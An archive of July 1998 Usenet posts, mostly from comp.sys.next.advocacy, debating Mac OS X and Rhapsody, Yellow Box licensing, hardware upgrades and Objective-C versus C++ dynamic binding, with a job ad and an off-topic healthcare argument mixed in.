References: <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu>
In article <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu>,
Pulsar <tokarek@uiuc.edu> wrote:
> On 14 Jul 1998, John Kheit wrote:
>
> > joe.ragosta@dol.net (Joe Ragosta) wrote:
> > > Which "purple barney UI" are you referring to?
> >
> > There's absolutely no value in getting into this. Nothing personal to you
> > Joe, but this UI topic has been smashed out to death at this point for me.
> > The direction is clear to me, though I hope I'm wrong, I,
unfortunatly, doubt
> > I am on this topic.
>
> I think John is refering to the fact that Apple is not significantly
> advancing or replacing the same old Mac OS UI. Mac OS X and Rhapsody don't
> have any UI direction shifts. Little attempt was apparently made to
> improve the Mac OS UI and the NeXT UI.
That's because the Mac UI works well and people know it.
>At best, Apple is using some of the
> better features from both, but isn't pushing any truly interesting and
> useful, new concepts.
Like what?
> Rather than making the UI far better than anything else in the world, Mac
> OS X still looks and behaves a lot like the original Mac OS.
Again, that's because the original UI worked very well, and with subtle
improvemnets, it continues to work well and be familiar.
>There are
> better alternatives to nearly everything that is in the Mac OS that could
> be implemented.
Like what?
>Yes, the Mac OS UI is a lot better than Windows, but the
> Windows UI is so bad that it's not very flattering to say that something
> is better. ('Wow, your face looks a lot better than that moldy, bug
> infested pile of dung over there!' That would be a good example of the
> kind of comparison I'm talking about. :)
As I said elsewhere, the automobile UI hasn't changed very much since it
was standardized sometime in the '60s. (Mostly as a result of things like
the Corvair's pushbutton automatic transmission controls, which were right
underneath the pushbutton air conditioning controls. An amazing number of
people were surprised when they turned on their air conditioners and had
their engines fall out.) There have been a few changes here and there, but
the basics of what the controls and indicators are and how they are shaped
have not changed. We don't have significant changes in that UI every few
years.
--
Michael Roeder -- mroeder at macromedia dot com
http://www.stopspam.org/usenet/faqs/faqs.html
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: 14 Jul 1998 19:04:21 GMT
Organization: I don't think so
Message-ID: <slrn6qnbbg.l5.jason@jhste1.dyn.ml.org>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <not-1407981111160001@2-25.phx.psn.net>
Michael M. Eilers posted the following to comp.sys.mac.advocacy:
>I currently have a Power Computing Power Center Pro. Neither Rhapsody nor
>OS X will ever run on it. Do I feel shafted? Hell no. I bought this
>machine well over a year ago; by the time OS X is boxed and ready to run
>it will be 3 years old, and I will have sold it long ago for an Apple G3
>(or even better a MP G4). I'm not one of those disgusting whiners who
>dropped $2000 on a 603e four years ago and now breaks into crying fits at
>the idea of spending one dime more upgrading it. Computers cost money,
>dammit! Anyone who has ever bought a computer and expected to never buy
>one again is just plain ignorant in the extreme--as stupid as buying a car
>and thinking the only expenses will be gas, oil, and air filters, and it
>will last forever.
Give me a break. Why should you upgrade to a faster machine than you
really need just because some corporation tells you that you have to?
This is Microsoft-think.
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: Eric Hermanson <eric@alum.mit.edu>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: Tue, 14 Jul 1998 13:39:47 -0700
Organization: Digital Universe Corporation
Message-ID: <35ABC213.50ED7EFB@alum.mit.edu>
References: <35AA8501.CF6AAF27@nospam.com> <6odtla$gjd$1@news.digifix.com> <35ABC6AF.E076A460@nospam.com>
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NNTP-Posting-Date: 14 Jul 1998 20:39:45 GMT
Tim Triemstra wrote:
> This is potentially the best way to go. Drop ObjectiveC, and go native
> with Java. Drop Carbon except for porting purposes. Use
> InterfaceBuilder for Swing or native YB controls. This would kick butt,
Yes, as a developer, it would kick *your* butt. Go ahead and develop the "next
great app" under Java, and ship it. Then see all of your competitors go to:
http://meurrens.ml.org/ip-Links/Java/codeEngineering/decomp.html
and download either Jad or Mocha/Jasmine, and watch them decompile all of your
Java classes into source code in the blink of an eye. Watch them rename some
methods, change some code around, and voila! They are shipping a competing
product!
Sounds like a kick-butt plan to me.
Eric
From: not@a.valid.email.add (Michael M. Eilers)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Tue, 14 Jul 1998 14:11:44 -0700
Organization: Fearful Symmetry Designs
Message-ID: <not-1407981411440001@1-58.phx.psn.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <not-1407981111160001@2-25.phx.psn.net> <slrn6qnbbg.l5.jason@jhste1.dyn.ml.org>
NNTP-Posting-Date: 14 Jul 1998 21:09:57 GMT
Mail-Copies-To: eilersm@azstarnet.com
`vmEi&(y';5Th{Li4G1HXItb0_)&PWr
In article <slrn6qnbbg.l5.jason@jhste1.dyn.ml.org>,
jason@jhste1.dyn.ml.org (Jason S.) wrote:
> Give me a break. Why should you upgrade to a faster machine than you
> really need just because some corporation tells you that you have to?
> This is Microsoft-think.
Where in my post did I say I was doing any of the kind? I buy cutting-edge
hardware because *I* need to have it, not because Apple needs the money.
michael
--
"If you're bored then you're boring" --Harvey Danger, from Flagpole Sitter
"Eureka! I smella!" --chant of a 4-year-old out by the pool
Michael M. Eilers * Fearful Symmetry Designs
From: schuerig@acm.org (Michael Schuerig)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 14 Jul 1998 23:10:30 +0200
Organization: Completely Disorganized
Message-ID: <1dc6iny.14bhwuc15rwxyeN@rhrz-isdn3-p59.rhrz.uni-bonn.de>
References: <358EEC0C.248A@earthlink.net> <6mobfr$odg$1@hole.sdsu.edu> <3591FF45.40D0@earthlink.net> <6mua07$7ps$1@hole.sdsu.edu> <359355C7.35E4@earthlink.net> <3593D6F3.871ED245@nstar.net> <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net> <6n1s6g$ldf$1@ndnws01.ne.highway1.com> <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <DTuq1.61$E5.334273@proxye1.san.rr.com> <6oei8o$672$5@lwnws01.ne.highway1.com>
Mail-Copies-To: never
John Kheit <jkheit@mediaone.net> wrote:
> "Ed Deans." <eadeans@san.rr.com> wrote:
> > Pulsar wrote in message ...
> > >From all I've seen of the "Hi-tech" and "Gizmo" schemes, I hate
> > >them. they add no functionality while being bulbous and distracting.
> > >I suppose some people will like them, but I don't.
> >
> >
> > It is not their purpose to add functionality. They are part of
> > the outlandish notion that one GUI cannot be all things to all
> > people. When developed for Copland, they were part of the
>
> It isn't outlandish, it's moronic to think that one functional set, that was
> made about 15yrs ago, stagnant as pond scum, is somehow made better by
> painting more garish crap atop that same old lame functionality.
Any pointers where I can get an impression of UIs that are very much
better than what Apple has to offer?
Michael
--
Michael Schuerig
mailto:schuerig@acm.org
http://www.uni-bonn.de/~uzs90z/
From: "Daniel T. Fahey" <DanFahey@DanSources.com>
Newsgroups: comp.sys.next.marketplace,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Job: NYC EOF and WOF
Date: Tue, 14 Jul 1998 15:56:58 -0700
Organization: DanSources Technical Services, Inc.
Message-ID: <35ABE239.47DD@DanSources.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 14 Jul 1998 19:58:27 GMT
I have a short term contract assignment in NYC, NT..
About 2 months..Need EoF and WoF experience.
Could go longer.
If you know anyone interested, please have them call
Dan Fahey
301-217-0425
www.DanSources.com
From: gwangung@u.washington.edu (R. Tang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 14 Jul 1998 22:15:16 GMT
Organization: University of Washington, Seattle
Message-ID: <6ogl9k$gb4$1@nntp6.u.washington.edu>
References: <6oet38$1pvc$1@piglet.cc.uic.edu> <Pine.SOL.3.96.980714114004.13773B-100000@ux5.cso.uiuc.edu> <joe.ragosta-1407981314280001@wil86.dol.net>
NNTP-Posting-User: gwangung
In article <joe.ragosta-1407981314280001@wil86.dol.net>,
Joe Ragosta <joe.ragosta@dol.net> wrote:
>In article <Pine.SOL.3.96.980714114004.13773B-100000@ux5.cso.uiuc.edu>,
>Pulsar <tokarek@uiuc.edu> wrote:
>> On 14 Jul 1998, Anil T Maliyekke wrote:
>> > Pulsar (pulsar@springnet1.com) wrote:
>> <snip>
>> > : That means that Apple can spend up to 10 million dollars on getting Mac
>> > : OS X to run on these older PowerMacs and still _at least_ break even.
>> > : Let's try to examine the costs for getting Mac OS X to run on these
>> > : machines.
>> <snip>
>> > : This is a total of $160,000.
>> >
>> > : Let's assume that the figure is off by a factor of 50!
>> >
>> > : 50 * $160,000 = $8,000,000.
>> >
>> > : So assuming that the real cost of getting Mac OS X to work on these
>> > : machines is 50 times more than I estimated, then Apple will _still_ make
>> > : a profit off of selling Mac OS X to pre-G3 PCI PowerMac owners!
>> >
>> > I couldn't tell you if these numbers reflect reality,
All I can say is that any time any one uses a low end estimate of
cost for a project, they inevitably get bitten on the ass by Murphy's Law.
I dunno....some of these estimates seem like arm-waving....
>A typical programmer probably costs Apple _at least_ $80 K when you factor
>in overhead and benefits (probably much more than that).
I though I've seen figures of two to two and a half times
salary....
--
-Roger Tang, gwangung@u.washington.edu, Artistic Director PC Theatre
- Editor, Asian American Theatre Revue [NEW URL]
- http://www.abcflash.com/arts/r_tang/AATR.html
-Declared 4-F in the War Between the Sexes
From: sal@panix2.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 14 Jul 1998 22:38:45 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6qnnfl.ssk.sal@panix2.panix.com>
References: <359A90F9.A546707D@alum.mit.edu> <35A5140D.F96A1F3F@ericsson.com> <6o349q$dt7$3@lwnws01.ne.highway1.com> <35A51590.E1CBC9A1@ericsson.com> <6o39o5$5jj$1@camel15.mindspring.com> <slrn6qb71d.o2v.sal@panix3.panix.com> <35A5BA1B.3CFBDCA6@nstar.net> <slrn6qd1j8.30p.sal@panix3.panix.com> <35A6919A.C188623A@ericsson.com>
On Fri, 10 Jul 1998 17:11:38 -0500, Michael Peck <Michael.Peck@ericsson.com> wrote:
>> By not providing guaranteed health care we as a socity are guilty of the
>> same "murder by neglect" that you accuse the FDA of.
>No, we are not. You have no right to require of me behavior that is not
---------------------------------------------------------------------^^^
>my responsibility and then accuse me of murder.
^^^^^^^^^^^^^^^^^
Libertarians tend to be big on this phrase.
A community has a responsibility to care for its members. That's why
people formed communities in the first place, safety in numbers.
> I *do* have a right to
>call you a murderer if you stand between me and the drug that can cure
>my illness.
>Wake up. The FDA's actions are *NOT* "murder by neglect", I've never
>heard of such a thing.
If you are walking down a dark alley at night and see someone who has
been shot or stabbed and do nothing, you are guilty of murder by neglect.
>The FDA's actions are murder by regulation that
>makes it *ILLEGAL* to take life-saving drugs.
I've been writing letters to the FDA and congress about this for years. Have
you been following the GOP's healthcare reform bills? One of the items is
a requirment that HMOs pay for experimental treatments.
>> I believe that everyone is born with certain rights. Chief among these
>> are the rights to life, liberty and the pursuit of happiness. By not
>> providing guaranteed health care we are cheating people out of thier
>> right to life.
>That's not even funny.
Quoting Jefferson to a Libertarian is almost as funny as quoting the
bible to a Fundamentalist.
>By failing to provide for your education am I
>also cheating you out of your right to the pursuit of happiness?
It isn't an issue of you *sigular*, it is an issue of you *plural*
A community has a responsibility to its members.
>Rights are recognition of what people may not take from you. Rights do
>not recognize your ability to take from others.
When you drive your car you polute the air. *YOU* are stealing my fresh
air. I guess that gives me the right to disable your car... Since you
protect your car with a gun, you are stealing from me at gunpoint. Isn't
that what Libertarians are always saying that about the goverment?
At least I vote for the goverment, who gives you the authority to steal
my air? Your gun? I guess that makes you some kind of despot.
>NEWS FLASH: Medicare and Medicaid account for some of the largest
>government subsidies in the entire budget.
Neither are as large as the federal "tax breaks" and other subsidies
granted to big business.
>Have you heard of 'Medicare'
>and 'Medicaid'?
Two poorly run programs. They cover only a small portion of the total
population of the US. Other nations cover a larger portion of their
populations for a lot less money.
>> >Health care is currently a (generally) competitive proposition. Removing
>> >the competition will reduce the value of the health care market.
>> That turns out not to be true.
>It..."turns out not to be true"? Citation?
The US has the most competitive health care market on earth, at it covers
>> The US has the most competitive Health care
>> market on earth.
>Mostly due to the power of its economy and its free-market status
>relative to socialized Europe and Canada.
>
>> In the past decade the quality has been going down while
>> costs have been rising.
>
>Medicare. Medicaid.
>
>> At the same time health care providers are enjoying
>> record profits.
>
>Not since the specter of Viagra popped up (ahem). Apparently,
>Kaiser-Permanente is slightly put out by the idea of providing universal
>"Viagra coverage" to its customers. At $10 per pill, I can't say I blame
>them, but then again, the government has been advising states that they
>must cover Viagra in Medicare payments.
>
>Pfizer: Those HMOs can hang it up in court as long as they like.
>Government money...cha-ching!
>
>MJP
--
sal@panix.com
Salvatore Denaro
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: 14 Jul 1998 21:54:48 GMT
Organization: I don't think so
Message-ID: <slrn6qnl5q.18f.jason@jhste1.dyn.ml.org>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <not-1407981111160001@2-25.phx.psn.net> <1dc6e9x.i3kt8jnbcj06N@ip70.albnxr1.ras.tele.dk>
Mime-Version: 1.0
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Per Erik Rønne posted the following to comp.sys.mac.advocacy:
>> Why do people babble about "protected memory" like they have some
>> inalienable right to it--like Apple "owes" them this capability for free?
>> Have any of them priced NT Server?
>Actually, people can get protected memory for free as long as they have
>a NuBus based PowerMac or better - and as long as it is not _too_ new.
>Just downloadk MkLinux. UNIX has always had protected memory. And lots
>of freeware [and payware] programs exist for UNIX.
>MkLinux even has a graphical user interface with a three button mouse:
>XWindows.
Those with 68K Macs can run NetBSD. Those with PCI PowerMacs _should_
run Linux/PowerPC, not Mklinux, though.
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: sal@panix2.panix.com
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <slrn6qnnfl.ssk.sal@panix2.panix.com>
Control: cancel <slrn6qnnfl.ssk.sal@panix2.panix.com>
Date: 14 Jul 1998 22:39:59 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6ogmnv$95k@news1.panix.com>
ignore
Article canceled by slrn 0.9.3.1
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity? (Now, the twilight zone)
Date: Tue, 14 Jul 1998 18:10:01 -0500
Organization: Prairie Group
Message-ID: <MPG.1015a146386d6523989998@news.supernews.com>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <vtNp1.383$7k7.493478@news.rdc1.sdca.home.com> <6od8gt$t0j$1@apakabar.cc.columbia.edu> <MPG.10145c959cb2eb25989990@news.supernews.com> <slrn6qniv1.m36.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
In article <slrn6qniv1.m36.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>,
NOSPAMmbkennelNOSPAM@yahoo.com says...
> On Mon, 13 Jul 1998 19:04:41 -0500, Donald Brown <don.brown@cesoft.com> wrote:
> :Here's what I would need before I even care about how great it is:
> :
> :Statements from Apple that would convince me that YellowBox for Windows
> :has a future.
>
> It's in the Rhapsody FAQ, I believe.
>
> :Some Windows apps created by OpenStep/YellowBox so I can try them out and
> :see if they are Windows-like and are of reasonable size.
>
> They probably exist, but I don't know much about them. Maybe OmniWeb/Windows?
>
> :A YellowBox for MacOS 7.x and 8.x
>
> Never. If MacOS 7/8 were good enough to host OpenStep they wouldn't have
> needed to buy NeXT. It's just a near technological impossibility.
Then I am not interested in YellowBox until such time as at least the
vast majority of Macs are running Rhapsody/X. I can't make a living as a
Mac programmer whose Mac programs only run on Rhapsody/X. It's not
commercially viable. The Macs out there will not run the wonderful
software I would write, and so my work will not be funded.
> Where would you put in the "cooperative" multitasking calls into OpenStep?
> It would be horrible.
>
> :Statements from Apple that would convince me that YellowBox for Mas has a
> :future.
>
> Rhapsody FAQ.
I mean YellowBox for MacOS 7.x/8.x. You've told me there will never be a
future.
> :Some Mac apps created by OpenStep/YellowBox so I can try them out and see
> :if they are Mac-like and are of reasonable size.
>
> What about the RDR? They plan on even shipping some standard tools in
> Rhapsody 1 aka MOX4S which were written in Java calling YellowBox.
Again, I meant YellowBox for MacOS 7.x/8.x. You've told me there can
never be any.
> :Until I have these five things, it doesn't matter how good OpenStep is, I
> :cannot use it to make money and I must make money to pay my landlord and
> :electric company and other bills. It's just irrelevant.
>
> You can have 4 of 5
Nope. 2 of 5. The 2 meaning that OpenStep lets me sell my product to
Windows users and a small, small sliver of Mac users.
No sale.
Donald
From: not@a.valid.email.add (Michael M. Eilers)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Tue, 14 Jul 1998 15:18:52 -0700
Organization: Fearful Symmetry Designs
Message-ID: <not-1407981518530001@2-79.phx.psn.net>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <not-1307981747020001@3-86.phx.psn.net> <6oeict$msj$1@news.digifix.com> <not-1407981048300001@2-25.phx.psn.net> <6ogh3r$eju$1@news.digifix.com>
NNTP-Posting-Date: 14 Jul 1998 22:17:05 GMT
Mail-Copies-To: eilersm@azstarnet.com
`vmEi&(y';5Th{Li4G1HXItb0_)&PWr
In article <6ogh3r$eju$1@news.digifix.com>, sanguish@digifix.com (Scott
Anguish) wrote:
> Sorry, but I'm not some armchair pontiff on Usenet.
>
> I'm a full-time developer, and run an OpenStep/Rhapsody
> information site that is OLDER than Macintouch.
And, as such, have a vested interest in Yellow Box evangelism. Which of
course disqualifies you from having an objective discussion on the
subject. A burden that Mr. Norr does not carry, I am afraid.
So tell us again, why should we listen to you over Mr. Norr? Biased,
bitter developer who got the shaft vs. objective journalist's opnion?
>
> You're a twit. I've published for the OpenStep/Rhapsody
> community for more than 4 years now. Longer than Apple has had a web
> site period.
Oh, you sure slammed that point home.
michael
--
"If you're bored then you're boring" --Harvey Danger, from Flagpole Sitter
"Eureka! I smella!" --chant of a 4-year-old out by the pool
Michael M. Eilers * Fearful Symmetry Designs
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Apple heading to obscurity?
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <not-1307981747020001@3-86.phx.psn.net> <6oeict$msj$1@news.digifix.com> <not-1407981048300001@2-25.phx.psn.net> <6oga6q$iv$1@news.xmission.com> <35abb32c.0@news.depaul.edu> <joe.ragosta-1407981635580001@wil37.dol.net> <6oglng$ft8$1@news.digifix.com>
Message-ID: <35abeeba.0@news.depaul.edu>
Date: 14 Jul 98 23:50:18 GMT
In comp.sys.next.advocacy Scott Anguish <sanguish@digifix.com> wrote:
> Jon and I are pals.. :-)
Yup.
> What he's describing sounds like Foundation though...
More like D'OLE, or WebObjects minus WOF.
Foundation, EOF, AIAT, etc. Everything but AppKit/DPS.
This wouldn't be a bizarre, new product. It'd be a slight
modification of the current YellowBox deployment installation.
> The YB runtime issues lie squarely in the realm of Adobe and
> to a lesser extent the Unisys LZW patent.
That's my point though. Apple's currently forcing developers
to choose all or nothing. Pay up the license fee, or don't
using anything. Which is silly, since the license fees for
the most part apply only to AppKit. And this approach assumes
that YellowBox is useless without AppKit, which I believe
to be false.
I'd like to see the option of using Foundation, EOF, and AIAT,
without the AppKit and its license fees. This would still be
useful, if combined with a disposable GUI implemented in
some Windows RAD tool. This way a budding ISV wouldn't have
to wait until OS/X to ship something.
Now, granted, the D'OLE package didn't sell very many copies.
But it was rather expensive, too. It certainly wasn't free.
I don't think the market acceptance of D'OLE can really be
used to forecast usage of a free version. It would only take
one ISV, with a popular app, to push out more seats than
NeXT did.
--
"... and subpoenas for all." - Ken Starr
From: jrudd@cygnus.com (John Rudd)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Static typing and dynamic binding
Date: 14 Jul 1998 23:28:47 GMT
Organization: Cygnus Solutions
Message-ID: <6ogpjf$bin$1@cronkite.cygnus.com>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu>
<6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com>
<6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net>
<6n0mol$sh2$1@flotsam.uits.indiana.edu> <6n0ap7$r0e$1@ns3.vrx.net>
<6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net>
<6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net>
<6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net>
<6nabot$r2h$4@ns3.vrx.net> <3599148B.1B14@exu.ericsson.se>
<6nakg1$r2h$15@ns3.vrx.net> <6o2e5p$q2u$1@news.cs.tu-berlin.de>
<1dbwpln.1hul373c7z78eN@dialup207-3-17.swipnet.se> <6o32eu$ljg1@odie.mcleod.net>
<6ogmq6$5dp$1@nnrp1.dejanews.com>
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Cc: doylep@my-dejanews.com
In <6ogmq6$5dp$1@nnrp1.dejanews.com> doylep@my-dejanews.com wrote:
> In article <6o32eu$ljg1@odie.mcleod.net>,
> "Michelle L. Buck" <buck.erik@mcleod.net> wrote:
> >
> > Objective-C postpones binding until runtime. C++ by specification has
bound
> > all member function invocations at link time. If you do not know what
the
> > advantages of LATE binding are, I suggest further investigation. Binding
> > time has little or no impact of code maintainability except the positive
> > impact derived from fewer classes and simpler design.
>
> I'm not sure I understand. C++ virtual functions are not bound to an
> implementation until runtime. What is the difference between this and the
> late binding you are referring to?
>
> -PD
>
Even with virtual functions, two objects must have inherited their virtual
functions from the same class in order to be able to bind them propperly at
run time.
So, if you have
foo->doSomethingCute();
and
bar->doSomethingCute();
where foo and bar are different object types, you can't do:
if (blah) {
objptr = &foo;
} else {
objptr = &bar;
}
objptr->doSomethingCute();
_unless_ foo's class and bar's class inherit doSomethingCute from the same
base class/common-ancestor class. This is true even for virtual functions.
(they can be overridden in different classes later in the isa hierarchy, but
they must have a common ancestor that defines that virtual member function).
To compare this with Objective-C, you'd need to define a base class in C++
that declared every possible virtual member function... because with
Objective-C they neither have to share a common ancestor (though, most
classes do), nor does their common ancestor have to declare any methods whose
namespace they will be sharing down the road. Any two objects can declare
methods of the same name, and you can have a pointer change back and forth
between the two objects and invoke that method from the exact same line of
code.
Thus, with Objective-C if foo and bar both inherit from "Object", and Object
does not include any mention of "doSomethingCute" (and Object is a base
class, or does not inherit "doSomethingCute" from anyone else), then the
above code (translated to Obj-C syntax) would work perfectly fine.
C++ always needs to know where in the object structure the offset for the
pointer to the member function exists (even with virtual functions). This
has to be a compile time constant. For two objects to share
"doSomethingCute", they must both have its pointer stored at the Nth memory
location after the base of their structure. Virtual functions add something
that allows for a small degree of dynamic binding, but it is still a constant
offset from the base of the structure's location in memory. (If I recall
right, virtual functions are indirect pointers to the member function,
instead of being direct pointers). At runtime, invoking a member function is
simply a pointer reference (or multiple pointer references) -- there is no
hidden run-time logic.
Objective-C doesn't store method references as specific structure offsets.
The runtime actually finds which method that matches that name/selector
actually belongs to the object when you send it that message. Only after
finding/binding the right piece of code at run time is the function/code
invoked. So, while one Class may store the reference to "doSomethingCute" at
the 4th long word after the base of the structure, another class might store
it at the 12th long word. The Objective-C runtime will invoke the correct
method either way. The C++ runtime, because it has no concept of what the
method's actual name is, will see these as two seperate member functions, and
wont be able to propperly invoke them.
Now, I will grant that my C++ is rusty.. 4 or 5 years out of date. I have
been told that there is an effort to make C++'s virtual functions more
beefy.. but I haven't ever heard that this was finalized. (also, some of my
discussion of the implimentation is a bit of handwaiving and "this is sorta
how they do it", not a concrete "this is how everyone impliments this").
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
Intel: Putting \"I want a pair of Daisy Eagle semi-auto paintball pistols
the backward in \in shoulder rigs. Who cares if you win the game as long
backward compatible\as you can John Woo as you dive over obstacles?" - anon
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 14 Jul 1998 18:33:06 -0500
Organization: Prairie Group
Message-ID: <MPG.1015a6adf8fdabbf98999b@news.supernews.com>
References: <6oet38$1pvc$1@piglet.cc.uic.edu> <Pine.SOL.3.96.980714114004.13773B-100000@ux5.cso.uiuc.edu>
In article <Pine.SOL.3.96.980714114004.13773B-100000@ux5.cso.uiuc.edu>,
tokarek@uiuc.edu says...
> I'm not asking for an immediate commitment from Apple that it will support
> these machines. I want some evidence that Apple is seriously considering
> support for these machines. If Apple finds that it would be unreasonable
> because of time constraints or somesuch, then I will understand. I might
> not be happy about it, but in that case I won't be angry.
>
What "evidence" would impress you? Statements by people in Apple that
they are doing such consideration? Or are you going to insist on
analysis documents or something?
I have contacts inside of Apple. No, I cannot name them, because I will
then lose them as sources. So, I can only give you my word that I have
been told there has been such consideration, and I am quite convinced
they were accurate.
Donald
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Mac OS X HW support: the too slow arguement
Date: 14 Jul 1998 17:03:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1D13FB1-5E2CC@206.165.43.216>
References: <35aad934.0@news.depaul.edu>
nntp://news.primenet.com/comp.sys.next.advocacy
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Jonathan W Hendry <jhendry@shrike.depaul.edu> said:
>In comp.sys.next.advocacy Lawson English <english@primenet.com> wrote:
[snipt]
>> In other words, Rhapsody (and presumeably the first generation of MacOS
>X)
>> will not be able to handle video creation well. If this was the case,
you
>> would expect Apple to abandon the highe-end video market, which is
>exactly
>> what they have done by abandoning the 6 PCI slot market.
>
>Clue: Rhapsody kernel = Mach 2.5+; MacOS X kernel = Mach 3
I got the message in November of 1997. When will Apple release MacOS X?
When will it release models that have the rumored 64-bit PCI bus?
